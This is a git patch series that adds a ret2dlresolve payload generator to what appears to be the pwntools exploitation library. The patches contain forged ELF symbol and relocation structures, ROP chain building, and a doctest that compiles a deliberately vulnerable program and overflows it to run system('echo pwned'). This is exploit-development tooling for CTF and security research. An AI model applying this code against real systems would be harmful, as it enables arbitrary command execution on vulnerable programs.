From c4b514f2152e8113bb7ce4f26e4c458c342799f6 Mon Sep 17 00:00:00 2001 From: klesoft Date: Wed, 26 Feb 2020 23:51:08 +0100 Subject: [PATCH 1/4] Added ret2dlresolve --- pwn/toplevel.py | 1 + pwnlib/rop/ret2dlresolve.py | 336 ++++++++++++++++++++++++++++++++++++ 2 files changed, 337 insertions(+) create mode 100644 pwnlib/rop/ret2dlresolve.py diff --git a/pwn/toplevel.py b/pwn/toplevel.py index adbcb7319..4003318d4 100644 --- a/pwn/toplevel.py +++ b/pwn/toplevel.py @@ -37,6 +37,7 @@ from pwnlib.regsort import * from pwnlib.replacements import * from pwnlib.rop import ROP +from pwnlib.rop.ret2dlresolve import Ret2dlresolve, Ret2dlresolveRop from pwnlib.rop.srop import SigreturnFrame from pwnlib.runner import * from pwnlib.timeout import Timeout diff --git a/pwnlib/rop/ret2dlresolve.py b/pwnlib/rop/ret2dlresolve.py new file mode 100644 index 000000000..a9769c1fd --- /dev/null +++ b/pwnlib/rop/ret2dlresolve.py @@ -0,0 +1,336 @@ +from copy import deepcopy + +from pwnlib.context import context +from pwnlib.log import getLogger +from pwnlib.rop import ROP +from pwnlib.util.packing import * + + +log = getLogger(__name__) + +class Elf32_Rel(object): + size=1 # see build method for explanation + """ + typedef struct elf32_rel { + Elf32_Addr r_offset; + Elf32_Word r_info; + } Elf32_Rel; + """ + def __init__(self, r_offset=0, r_info=0): + self.r_offset = r_offset + self.r_info = r_info + + def __bytes__(self): + return p32(self.r_offset) + p32(self.r_info) + + def __str__(self): + return str(bytes(self)) + + def __flat__(self): + return bytes(self) + + +class Elf64_Rel(object): + size=24 + """ + typedef struct elf64_rel { + Elf64_Addr r_offset; + Elf64_Xword r_info; + } Elf64_Rel; + """ + def __init__(self, r_offset=0, r_info=0): + self.r_offset = r_offset + self.r_info = r_info + + def __bytes__(self): + return p64(self.r_offset) + p64(self.r_info) + p64(0) + + def __str__(self): + return str(bytes(self)) + + def __flat__(self): + return bytes(self) + + +class Elf32_Sym(object): + size = 16 + """ + typedef struct elf32_sym{ + Elf32_Word st_name; + Elf32_Addr st_value; + Elf32_Word st_size; + unsigned char st_info; + unsigned char st_other; + Elf32_Half st_shndx; + } Elf32_Sym; + """ + def __init__(self, st_name=0, st_value=0, st_size=0, st_info=0, st_other=0, st_shndx=0): + # St_info and st_other can be int, str or byte, + # they'll be saved as int + if not isinstance(st_info, int): + st_info = context._encode(st_info)[0] + if not isinstance(st_other, int): + st_other = context._encode(st_other)[0] + + self.st_name = st_name + self.st_value = st_value + self.st_size = st_size + self.st_info = st_info + self.st_other = st_other + self.st_shndx = st_shndx + + def __bytes__(self): + return p32(self.st_name) + \ + p32(self.st_value) + \ + p32(self.st_size) + \ + p8(self.st_info) + \ + p8(self.st_other) + \ + p16(self.st_shndx) + + def __str__(self): + return str(bytes(self)) + + def __flat__(self): + return bytes(self) + +class Elf64_Sym(object): + size=24 + """ + typedef struct elf64_sym { + Elf64_Word st_name; + unsigned char st_info; + unsigned char st_other; + Elf64_Half st_shndx; + Elf64_Addr st_value; + Elf64_Xword st_size; + } Elf64_Sym; + """ + def __init__(self, st_name=0, st_value=0, st_size=0, st_info=0, st_other=0, st_shndx=0): + if not isinstance(st_info, int): + st_info = context._encode(st_info)[0] + if not isinstance(st_other, int): + st_other = context._encode(st_other)[0] + + self.st_name = st_name + self.st_value = st_value + self.st_size = st_size + self.st_info = st_info + self.st_other = st_other + self.st_shndx = st_shndx + + def __bytes__(self): + return p32(self.st_name) + \ + p8(self.st_info) + \ + p8(self.st_other) + \ + p16(self.st_shndx) + \ + p64(self.st_value) + \ + p64(self.st_size) + + def __str__(self): + return str(bytes(self)) + + def __flat__(self): + return bytes(self) + + +class MarkedBytes(bytes): + pass + + +class Ret2dlresolve(object): + def __init__(self, elf, symbol_name): + self.elf = elf + self.elf_base = elf.address if elf.pie else 0 + self.strtab = elf.dynamic_value_by_tag("DT_STRTAB") + self.elf_base + self.symtab = elf.dynamic_value_by_tag("DT_SYMTAB") + self.elf_base + self.jmprel = elf.dynamic_value_by_tag("DT_JMPREL") + self.elf_base + self.symbol_name = context._encode(symbol_name) + + self._reloc_index = -1 + self._data_addr = -1 + self._built = False + self._payload = "" + + # PIE is untested, gcc forces FULL-RELRO when PIE is set + if self.elf.pie and self.elf_base == 0: + log.warning("WARNING: ELF is PIE but it has not base address") + + def _padding(self, payload_len, modulo): + if payload_len % modulo == 0: return b"" + return (modulo - (payload_len%modulo))*b"A" + + @property + def reloc_index(self): + if not self._built: + log.error("Error accessing reloc_index: please build first") + return self._reloc_index + + @property + def payload(self): + if not self._built: + log.error("Error accessing payload: please build first") + return self._payload + + def get_recommended_address(self): + bss = self.elf.get_section_by_name(".bss").header.sh_addr + self.elf_base + bss_size = self.elf.get_section_by_name(".bss").header.sh_size + addr = bss + bss_size + addr = addr + (0x1000-(addr % 0x1000)) - 0x100 #next page in memory - 0x100 + return addr + + def build(self, data_addr): + self._data_addr = data_addr + + if context.bits == 32: + ElfSym = Elf32_Sym + ElfRel = Elf32_Rel + elif context.bits == 64: + ElfSym = Elf64_Sym + ElfRel = Elf64_Rel + else: + log.error("Unsupported bits") + + # where the address of the symbol will be saved + # (ElfRel.r_offset) + payload = b"A"*context.bytes + + # Symbol name. Ej: system + symbol_name_addr = data_addr + len(payload) + payload += self.symbol_name + b"\x00" + payload += self._padding(data_addr + len(payload) - self.symtab, ElfSym.size) + + # ElfSym + sym_addr = data_addr + len(payload) + sym = ElfSym(st_name=symbol_name_addr - self.strtab) + payload += bytes(sym) + payload += self._padding(data_addr + len(payload) - self.jmprel, ElfRel.size) + + # ElfRel + rel_addr = data_addr + len(payload) + index = (sym_addr - self.symtab) // ElfSym.size + # different ways of codifying r_info + if context.bits == 64: + index = index << 32 + else: # 32 + index = index << 8 + rel_type = 7 + rel = ElfRel(r_offset=data_addr, r_info=index+rel_type) + payload += bytes(rel) + + # It seems to be treated as an index in 64b and + # as an offset in 32b. That's why Elf32_Rel.size = 1 + self._reloc_index = (rel_addr - self.jmprel)//ElfRel.size + + log.debug("Symtab: %s", hex(self.symtab)) + log.debug("Strtab: %s", hex(self.strtab)) + log.debug("Jmprel: %s", hex(self.jmprel)) + log.debug("ElfSym addr: %s", hex(sym_addr)) + log.debug("ElfRel addr: %s", hex(rel_addr)) + log.debug("Symbol name addr: %s", hex(symbol_name_addr)) + log.debug("Data addr: %s", hex(data_addr)) + + self._built = True + self._payload = payload + return payload + +class Queue(list): + def size(self): + size = 0 + for v in self: + # Lists, strings and ints all have size context.size + # Assuming int size equals address size + if isinstance(v, MarkedBytes): + size += len(v) + else: + size += context.bytes + return size + +class Ret2dlresolveRop(Ret2dlresolve): + def __init__(self, elf, symbol, args): + super().__init__(elf, symbol) + self.args = args + self.plt_init = elf.get_section_by_name(".plt").header.sh_addr + self.elf_base + self._args_f = [] # formatted args, ready for call + + def _format_args(self): + # Encode every string in args and add padding to it + def aux(args): + for i, arg in enumerate(args): + if isinstance(arg, (str,bytes)): + # Not sure if padding is needed + args[i] = context._encode(args[i]) + b"\x00" + args[i] += self._padding(len(args[i]), context.bytes) + elif isinstance(arg, (list, tuple)): + aux(arg) + + self._args_f = deepcopy(self.args) + aux(self._args_f) + + + def build(self, data_addr): + # The first part of the payload is the usual of ret2dlresolve. + # The second part will include strings and pointers needed for ROP. + payload = super().build(data_addr) + log.debug("Pltinit: %s", hex(self.plt_init)) + self._format_args() + + queue = Queue() + + # We first have to process the arguments: replace lists and strings with + # pointers to the payload. + for i, arg in enumerate(self._args_f): + if isinstance(arg, (list, tuple)): + self._args_f[i] = data_addr + len(payload) + queue.size() + queue.extend(arg) + elif isinstance(arg, bytes): + # If one of the arguments is a string, add it to the payload + # and replace it with its address + self._args_f[i] = data_addr + len(payload) + queue.size() + queue.append(MarkedBytes(arg)) + + # Now we process the generated queue, which contains elements that will be in + # the payload. We replace lists and strings with pointers, add lists elements + # to the queue, and mark strings so next time they are processed they are + # added and not replaced again. + while len(queue) > 0: + top = queue[0] + if isinstance(top, (list, tuple)): + top = pack(data_addr + len(payload) + queue.size()) + queue.extend(queue[0]) + elif isinstance(top, MarkedBytes): + pass + elif isinstance(top, bytes): + top = pack(data_addr + len(payload) + queue.size()) + queue.append(MarkedBytes(queue[0])) + elif isinstance(top, int): + top = pack(top) + else: + pass + + payload += top + #print("Processed:", queue[0], "Appended:", top.hex()) + queue.pop(0) + + self._payload = payload + return payload + + def get_rop(self, read_func="read", read_func_args=None): + if not self._built: + log.error("Error attempting get_rop: please build first") + + if read_func_args is None: + read_func_args = [0, self._data_addr, len(self.payload)] + + rop = ROP(self.elf) + rop.call(read_func, read_func_args) + if context.bits == 64: + rop.call(self.plt_init, self._args_f) + rop.raw(self.reloc_index) + else: + # not a regular x86 call + rop.raw(self.plt_init) # ret to plt_init + rop.raw(self.reloc_index) # arg for plt init + rop.raw(0xDEADBEEF) # ret + for arg in self._args_f: # args for the called symbol + rop.raw(arg) + return rop \ No newline at end of file From 5acabdd1a112a0c12a6a087103b42a0bd5026928 Mon Sep 17 00:00:00 2001 From: klecko Date: Sat, 4 Apr 2020 12:56:55 +0200 Subject: [PATCH 2/4] Changed design --- pwn/toplevel.py | 2 +- pwnlib/{rop => }/ret2dlresolve.py | 205 +++++++++++------------------- pwnlib/rop/rop.py | 18 +++ 3 files changed, 92 insertions(+), 133 deletions(-) rename pwnlib/{rop => }/ret2dlresolve.py (60%) diff --git a/pwn/toplevel.py b/pwn/toplevel.py index 4003318d4..c74746650 100644 --- a/pwn/toplevel.py +++ b/pwn/toplevel.py @@ -36,8 +36,8 @@ from pwnlib.memleak import MemLeak, RelativeMemLeak from pwnlib.regsort import * from pwnlib.replacements import * +from pwnlib.ret2dlresolve import Ret2dlresolvePayload from pwnlib.rop import ROP -from pwnlib.rop.ret2dlresolve import Ret2dlresolve, Ret2dlresolveRop from pwnlib.rop.srop import SigreturnFrame from pwnlib.runner import * from pwnlib.timeout import Timeout diff --git a/pwnlib/rop/ret2dlresolve.py b/pwnlib/ret2dlresolve.py similarity index 60% rename from pwnlib/rop/ret2dlresolve.py rename to pwnlib/ret2dlresolve.py index a9769c1fd..2dfa0a342 100644 --- a/pwnlib/rop/ret2dlresolve.py +++ b/pwnlib/ret2dlresolve.py @@ -5,17 +5,16 @@ from pwnlib.rop import ROP from pwnlib.util.packing import * - log = getLogger(__name__) class Elf32_Rel(object): - size=1 # see build method for explanation """ typedef struct elf32_rel { Elf32_Addr r_offset; Elf32_Word r_info; } Elf32_Rel; """ + size=1 # see _build_structures method for explanation def __init__(self, r_offset=0, r_info=0): self.r_offset = r_offset self.r_info = r_info @@ -31,13 +30,13 @@ def __flat__(self): class Elf64_Rel(object): - size=24 """ typedef struct elf64_rel { Elf64_Addr r_offset; Elf64_Xword r_info; } Elf64_Rel; """ + size=24 def __init__(self, r_offset=0, r_info=0): self.r_offset = r_offset self.r_info = r_info @@ -53,7 +52,6 @@ def __flat__(self): class Elf32_Sym(object): - size = 16 """ typedef struct elf32_sym{ Elf32_Word st_name; @@ -64,14 +62,8 @@ class Elf32_Sym(object): Elf32_Half st_shndx; } Elf32_Sym; """ + size = 16 def __init__(self, st_name=0, st_value=0, st_size=0, st_info=0, st_other=0, st_shndx=0): - # St_info and st_other can be int, str or byte, - # they'll be saved as int - if not isinstance(st_info, int): - st_info = context._encode(st_info)[0] - if not isinstance(st_other, int): - st_other = context._encode(st_other)[0] - self.st_name = st_name self.st_value = st_value self.st_size = st_size @@ -93,8 +85,8 @@ def __str__(self): def __flat__(self): return bytes(self) + class Elf64_Sym(object): - size=24 """ typedef struct elf64_sym { Elf64_Word st_name; @@ -105,12 +97,8 @@ class Elf64_Sym(object): Elf64_Xword st_size; } Elf64_Sym; """ + size=24 def __init__(self, st_name=0, st_value=0, st_size=0, st_info=0, st_other=0, st_shndx=0): - if not isinstance(st_info, int): - st_info = context._encode(st_info)[0] - if not isinstance(st_other, int): - st_other = context._encode(st_other)[0] - self.st_name = st_name self.st_value = st_value self.st_size = st_size @@ -133,54 +121,72 @@ def __flat__(self): return bytes(self) +class Queue(list): + def size(self): + size = 0 + for v in self: + # Lists, strings and ints all have size context.size + # Assuming int size equals address size + if isinstance(v, MarkedBytes): + size += len(v) + else: + size += context.bytes + return size + + class MarkedBytes(bytes): pass -class Ret2dlresolve(object): - def __init__(self, elf, symbol_name): +class Ret2dlresolvePayload(object): + def __init__(self, elf, symbol, args, data_addr=None): self.elf = elf self.elf_base = elf.address if elf.pie else 0 self.strtab = elf.dynamic_value_by_tag("DT_STRTAB") + self.elf_base self.symtab = elf.dynamic_value_by_tag("DT_SYMTAB") + self.elf_base self.jmprel = elf.dynamic_value_by_tag("DT_JMPREL") + self.elf_base - self.symbol_name = context._encode(symbol_name) + self.symbol = context._encode(symbol) + self.args = args + self.real_args = self._format_args() + + self.data_addr = data_addr if data_addr is not None else self._get_recommended_address() - self._reloc_index = -1 - self._data_addr = -1 - self._built = False - self._payload = "" + # Will be set when built + self.reloc_index = -1 + self.payload = b"" # PIE is untested, gcc forces FULL-RELRO when PIE is set if self.elf.pie and self.elf_base == 0: log.warning("WARNING: ELF is PIE but it has not base address") + self._build() + def _padding(self, payload_len, modulo): if payload_len % modulo == 0: return b"" return (modulo - (payload_len%modulo))*b"A" - @property - def reloc_index(self): - if not self._built: - log.error("Error accessing reloc_index: please build first") - return self._reloc_index + def _format_args(self): + # Encode every string in args + def aux(args): + for i, arg in enumerate(args): + if isinstance(arg, (str,bytes)): + args[i] = context._encode(args[i]) + b"\x00" + elif isinstance(arg, (list, tuple)): + aux(arg) - @property - def payload(self): - if not self._built: - log.error("Error accessing payload: please build first") - return self._payload + args = deepcopy(self.args) + aux(args) + return args - def get_recommended_address(self): + def _get_recommended_address(self): bss = self.elf.get_section_by_name(".bss").header.sh_addr + self.elf_base bss_size = self.elf.get_section_by_name(".bss").header.sh_size addr = bss + bss_size - addr = addr + (0x1000-(addr % 0x1000)) - 0x100 #next page in memory - 0x100 + addr = addr + (0x1000-(addr % 0x1000)) - 0x200 #next page in memory - 0x200 return addr - def build(self, data_addr): - self._data_addr = data_addr - + def _build_structures(self): + # The first part of the payload is the usual of ret2dlresolve. if context.bits == 32: ElfSym = Elf32_Sym ElfRel = Elf32_Rel @@ -191,35 +197,34 @@ def build(self, data_addr): log.error("Unsupported bits") # where the address of the symbol will be saved - # (ElfRel.r_offset) - payload = b"A"*context.bytes + # (ElfRel.r_offset points here) + self.payload += b"A"*context.bytes # Symbol name. Ej: system - symbol_name_addr = data_addr + len(payload) - payload += self.symbol_name + b"\x00" - payload += self._padding(data_addr + len(payload) - self.symtab, ElfSym.size) + symbol_name_addr = self.data_addr + len(self.payload) + self.payload += self.symbol + b"\x00" + self.payload += self._padding(self.data_addr + len(self.payload) - self.symtab, ElfSym.size) # ElfSym - sym_addr = data_addr + len(payload) + sym_addr = self.data_addr + len(self.payload) sym = ElfSym(st_name=symbol_name_addr - self.strtab) - payload += bytes(sym) - payload += self._padding(data_addr + len(payload) - self.jmprel, ElfRel.size) + self.payload += bytes(sym) + self.payload += self._padding(self.data_addr + len(self.payload) - self.jmprel, ElfRel.size) # ElfRel - rel_addr = data_addr + len(payload) + rel_addr = self.data_addr + len(self.payload) index = (sym_addr - self.symtab) // ElfSym.size - # different ways of codifying r_info if context.bits == 64: index = index << 32 else: # 32 index = index << 8 rel_type = 7 - rel = ElfRel(r_offset=data_addr, r_info=index+rel_type) - payload += bytes(rel) + rel = ElfRel(r_offset=self.data_addr, r_info=index+rel_type) + self.payload += bytes(rel) # It seems to be treated as an index in 64b and # as an offset in 32b. That's why Elf32_Rel.size = 1 - self._reloc_index = (rel_addr - self.jmprel)//ElfRel.size + self.reloc_index = (rel_addr - self.jmprel)//ElfRel.size log.debug("Symtab: %s", hex(self.symtab)) log.debug("Strtab: %s", hex(self.strtab)) @@ -227,65 +232,21 @@ def build(self, data_addr): log.debug("ElfSym addr: %s", hex(sym_addr)) log.debug("ElfRel addr: %s", hex(rel_addr)) log.debug("Symbol name addr: %s", hex(symbol_name_addr)) - log.debug("Data addr: %s", hex(data_addr)) - - self._built = True - self._payload = payload - return payload + log.debug("Data addr: %s", hex(self.data_addr)) -class Queue(list): - def size(self): - size = 0 - for v in self: - # Lists, strings and ints all have size context.size - # Assuming int size equals address size - if isinstance(v, MarkedBytes): - size += len(v) - else: - size += context.bytes - return size - -class Ret2dlresolveRop(Ret2dlresolve): - def __init__(self, elf, symbol, args): - super().__init__(elf, symbol) - self.args = args - self.plt_init = elf.get_section_by_name(".plt").header.sh_addr + self.elf_base - self._args_f = [] # formatted args, ready for call - - def _format_args(self): - # Encode every string in args and add padding to it - def aux(args): - for i, arg in enumerate(args): - if isinstance(arg, (str,bytes)): - # Not sure if padding is needed - args[i] = context._encode(args[i]) + b"\x00" - args[i] += self._padding(len(args[i]), context.bytes) - elif isinstance(arg, (list, tuple)): - aux(arg) - - self._args_f = deepcopy(self.args) - aux(self._args_f) - - - def build(self, data_addr): - # The first part of the payload is the usual of ret2dlresolve. - # The second part will include strings and pointers needed for ROP. - payload = super().build(data_addr) - log.debug("Pltinit: %s", hex(self.plt_init)) - self._format_args() - + def _build_args(self): + # The second part of the payload will include strings and pointers needed for ROP. queue = Queue() # We first have to process the arguments: replace lists and strings with - # pointers to the payload. - for i, arg in enumerate(self._args_f): + # pointers to the payload. Add lists contents and marked strings to the queue + # to be processed later. + for i, arg in enumerate(self.real_args): if isinstance(arg, (list, tuple)): - self._args_f[i] = data_addr + len(payload) + queue.size() + self.real_args[i] = self.data_addr + len(self.payload) + queue.size() queue.extend(arg) elif isinstance(arg, bytes): - # If one of the arguments is a string, add it to the payload - # and replace it with its address - self._args_f[i] = data_addr + len(payload) + queue.size() + self.real_args[i] = self.data_addr + len(self.payload) + queue.size() queue.append(MarkedBytes(arg)) # Now we process the generated queue, which contains elements that will be in @@ -295,42 +256,22 @@ def build(self, data_addr): while len(queue) > 0: top = queue[0] if isinstance(top, (list, tuple)): - top = pack(data_addr + len(payload) + queue.size()) + top = pack(self.data_addr + len(self.payload) + queue.size()) queue.extend(queue[0]) elif isinstance(top, MarkedBytes): + # Just add them pass elif isinstance(top, bytes): - top = pack(data_addr + len(payload) + queue.size()) + top = pack(self.data_addr + len(self.payload) + queue.size()) queue.append(MarkedBytes(queue[0])) elif isinstance(top, int): top = pack(top) else: - pass + print(1) - payload += top - #print("Processed:", queue[0], "Appended:", top.hex()) + self.payload += top queue.pop(0) - self._payload = payload - return payload - - def get_rop(self, read_func="read", read_func_args=None): - if not self._built: - log.error("Error attempting get_rop: please build first") - - if read_func_args is None: - read_func_args = [0, self._data_addr, len(self.payload)] - - rop = ROP(self.elf) - rop.call(read_func, read_func_args) - if context.bits == 64: - rop.call(self.plt_init, self._args_f) - rop.raw(self.reloc_index) - else: - # not a regular x86 call - rop.raw(self.plt_init) # ret to plt_init - rop.raw(self.reloc_index) # arg for plt init - rop.raw(0xDEADBEEF) # ret - for arg in self._args_f: # args for the called symbol - rop.raw(arg) - return rop \ No newline at end of file + def _build(self): + self._build_structures() + self._build_args() \ No newline at end of file diff --git a/pwnlib/rop/rop.py b/pwnlib/rop/rop.py index 4e7a2a447..99abb180f 100644 --- a/pwnlib/rop/rop.py +++ b/pwnlib/rop/rop.py @@ -1277,6 +1277,24 @@ def search(self, move = 0, regs = None, order = 'size'): return result + def ret2dlresolve(self, reloc_index, real_args, read_func, read_func_args): + elf = [elf for elf in self.elfs if elf.get_section_by_name(".plt") is not None][0] + elf_base = elf.address if elf.pie else 0 + plt_init = elf.get_section_by_name(".plt").header.sh_addr + elf_base + log.debug("PLT_INIT: %s", hex(plt_init)) + + self.call(read_func, read_func_args) + if context.bits == 64: + self.call(plt_init, real_args) + self.raw(reloc_index) + else: + # not a regular x86 call + self.raw(plt_init) # call plt_init + self.raw(reloc_index) # arg for plt init + self.raw(0xDEADBEEF) # ret + for arg in real_args: # args for the called symbol + self.raw(arg) + def __getattr__(self, attr): """Helper to make finding ROP gadets easier. From d16370be3e34af16029145467b924fdc4e5e3b04 Mon Sep 17 00:00:00 2001 From: klecko Date: Sat, 4 Apr 2020 15:01:22 +0200 Subject: [PATCH 3/4] Added test --- docs/source/index.rst | 1 + docs/source/ret2dlresolve.rst | 10 +++++++++ pwnlib/ret2dlresolve.py | 39 +++++++++++++++++++++++++++++++++-- 3 files changed, 48 insertions(+), 2 deletions(-) create mode 100644 docs/source/ret2dlresolve.rst diff --git a/docs/source/index.rst b/docs/source/index.rst index 50b99bc14..d75dacdfa 100755 --- a/docs/source/index.rst +++ b/docs/source/index.rst @@ -64,6 +64,7 @@ Each of the ``pwntools`` modules is documented here. protocols qemu replacements + ret2dlresolve rop rop/* runner diff --git a/docs/source/ret2dlresolve.rst b/docs/source/ret2dlresolve.rst new file mode 100644 index 000000000..066d92a69 --- /dev/null +++ b/docs/source/ret2dlresolve.rst @@ -0,0 +1,10 @@ +.. testsetup:: * + + from pwn import* + import tempfile + +:mod:`pwnlib.ret2dlresolve` --- Return to dl_resolve +================================================== + +.. automodule:: pwnlib.ret2dlresolve + :members: \ No newline at end of file diff --git a/pwnlib/ret2dlresolve.py b/pwnlib/ret2dlresolve.py index 2dfa0a342..4c66be74f 100644 --- a/pwnlib/ret2dlresolve.py +++ b/pwnlib/ret2dlresolve.py @@ -1,3 +1,40 @@ +r""" +Provides automatic payload generation for exploiting buffer overflows +using ret2dlresolve. + +Example: + + >>> program = tempfile.mktemp() + >>> source = program + ".c" + >>> write(source, ''' + ... #include + ... void vuln(void){ + ... char buf[64]; + ... read(STDIN_FILENO, buf, 200); + ... } + ... int main(int argc, char** argv){ + ... vuln(); + ... }''') + >>> cmdline = ["gcc", source, "-fno-stack-protector", "-no-pie", "-o", program] + >>> process(cmdline).wait_for_close() + + >>> context.binary = program + >>> elf = ELF(program) + >>> rop = ROP(elf) + >>> dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["echo pwned"]) + >>> rop.ret2dlresolve(reloc_index=dlresolve.reloc_index, real_args=dlresolve.real_args, + ... read_func="read", read_func_args=[0, dlresolve.data_addr]) + >>> raw_rop = rop.chain() + + >>> payload = b"A"*72 + raw_rop + >>> payload += (200-len(payload))*b"A" + >>> payload2 = dlresolve.payload + >>> p = process(program) + >>> p.sendline(payload + payload2) + >>> p.recvline() + pwned +""" + from copy import deepcopy from pwnlib.context import context @@ -266,8 +303,6 @@ def _build_args(self): queue.append(MarkedBytes(queue[0])) elif isinstance(top, int): top = pack(top) - else: - print(1) self.payload += top queue.pop(0) From c9dad72be455d4b5b7cc4a7ac7fd83a742542127 Mon Sep 17 00:00:00 2001 From: klecko Date: Sat, 4 Apr 2020 19:32:47 +0200 Subject: [PATCH 4/4] Changed test to 32 bits, 64 bits seems broken for now --- docs/source/ret2dlresolve.rst | 2 +- pwnlib/ret2dlresolve.py | 44 ++++++++++++++--------------------- 2 files changed, 18 insertions(+), 28 deletions(-) diff --git a/docs/source/ret2dlresolve.rst b/docs/source/ret2dlresolve.rst index 066d92a69..30fbf2d42 100644 --- a/docs/source/ret2dlresolve.rst +++ b/docs/source/ret2dlresolve.rst @@ -4,7 +4,7 @@ import tempfile :mod:`pwnlib.ret2dlresolve` --- Return to dl_resolve -================================================== +==================================================== .. automodule:: pwnlib.ret2dlresolve :members: \ No newline at end of file diff --git a/pwnlib/ret2dlresolve.py b/pwnlib/ret2dlresolve.py index 4c66be74f..af712be6b 100644 --- a/pwnlib/ret2dlresolve.py +++ b/pwnlib/ret2dlresolve.py @@ -15,7 +15,7 @@ ... int main(int argc, char** argv){ ... vuln(); ... }''') - >>> cmdline = ["gcc", source, "-fno-stack-protector", "-no-pie", "-o", program] + >>> cmdline = ["gcc", source, "-fno-stack-protector", "-no-pie", "-m32", "-o", program] >>> process(cmdline).wait_for_close() >>> context.binary = program @@ -26,13 +26,13 @@ ... read_func="read", read_func_args=[0, dlresolve.data_addr]) >>> raw_rop = rop.chain() - >>> payload = b"A"*72 + raw_rop + >>> payload = b"A"*76 + raw_rop >>> payload += (200-len(payload))*b"A" >>> payload2 = dlresolve.payload >>> p = process(program) >>> p.sendline(payload + payload2) >>> p.recvline() - pwned + b'pwned\n' """ from copy import deepcopy @@ -44,6 +44,9 @@ log = getLogger(__name__) +ELF32_R_SYM_SHIFT = 8 +ELF64_R_SYM_SHIFT = 32 + class Elf32_Rel(object): """ typedef struct elf32_rel { @@ -59,9 +62,6 @@ def __init__(self, r_offset=0, r_info=0): def __bytes__(self): return p32(self.r_offset) + p32(self.r_info) - def __str__(self): - return str(bytes(self)) - def __flat__(self): return bytes(self) @@ -81,9 +81,6 @@ def __init__(self, r_offset=0, r_info=0): def __bytes__(self): return p64(self.r_offset) + p64(self.r_info) + p64(0) - def __str__(self): - return str(bytes(self)) - def __flat__(self): return bytes(self) @@ -116,9 +113,6 @@ def __bytes__(self): p8(self.st_other) + \ p16(self.st_shndx) - def __str__(self): - return str(bytes(self)) - def __flat__(self): return bytes(self) @@ -151,9 +145,6 @@ def __bytes__(self): p64(self.st_value) + \ p64(self.st_size) - def __str__(self): - return str(bytes(self)) - def __flat__(self): return bytes(self) @@ -178,10 +169,11 @@ class MarkedBytes(bytes): class Ret2dlresolvePayload(object): def __init__(self, elf, symbol, args, data_addr=None): self.elf = elf - self.elf_base = elf.address if elf.pie else 0 - self.strtab = elf.dynamic_value_by_tag("DT_STRTAB") + self.elf_base - self.symtab = elf.dynamic_value_by_tag("DT_SYMTAB") + self.elf_base - self.jmprel = elf.dynamic_value_by_tag("DT_JMPREL") + self.elf_base + self.elf_load_address_fixup = self.elf.address - self.elf.load_addr + self.strtab = elf.dynamic_value_by_tag("DT_STRTAB") + self.elf_load_address_fixup + self.symtab = elf.dynamic_value_by_tag("DT_SYMTAB") + self.elf_load_address_fixup + self.jmprel = elf.dynamic_value_by_tag("DT_JMPREL") + self.elf_load_address_fixup + self.versym = elf.dynamic_value_by_tag("DT_VERSYM") + self.elf_load_address_fixup self.symbol = context._encode(symbol) self.args = args self.real_args = self._format_args() @@ -193,7 +185,7 @@ def __init__(self, elf, symbol, args, data_addr=None): self.payload = b"" # PIE is untested, gcc forces FULL-RELRO when PIE is set - if self.elf.pie and self.elf_base == 0: + if self.elf.pie and self.elf_load_address_fixup == 0: log.warning("WARNING: ELF is PIE but it has not base address") self._build() @@ -216,7 +208,7 @@ def aux(args): return args def _get_recommended_address(self): - bss = self.elf.get_section_by_name(".bss").header.sh_addr + self.elf_base + bss = self.elf.get_section_by_name(".bss").header.sh_addr + self.elf_load_address_fixup bss_size = self.elf.get_section_by_name(".bss").header.sh_size addr = bss + bss_size addr = addr + (0x1000-(addr % 0x1000)) - 0x200 #next page in memory - 0x200 @@ -227,9 +219,11 @@ def _build_structures(self): if context.bits == 32: ElfSym = Elf32_Sym ElfRel = Elf32_Rel + ELF_R_SYM_SHIFT = ELF32_R_SYM_SHIFT elif context.bits == 64: ElfSym = Elf64_Sym ElfRel = Elf64_Rel + ELF_R_SYM_SHIFT = ELF64_R_SYM_SHIFT else: log.error("Unsupported bits") @@ -250,13 +244,9 @@ def _build_structures(self): # ElfRel rel_addr = self.data_addr + len(self.payload) - index = (sym_addr - self.symtab) // ElfSym.size - if context.bits == 64: - index = index << 32 - else: # 32 - index = index << 8 + index = (sym_addr - self.symtab) // ElfSym.size # index for both symtab and versym rel_type = 7 - rel = ElfRel(r_offset=self.data_addr, r_info=index+rel_type) + rel = ElfRel(r_offset=self.data_addr, r_info=(index<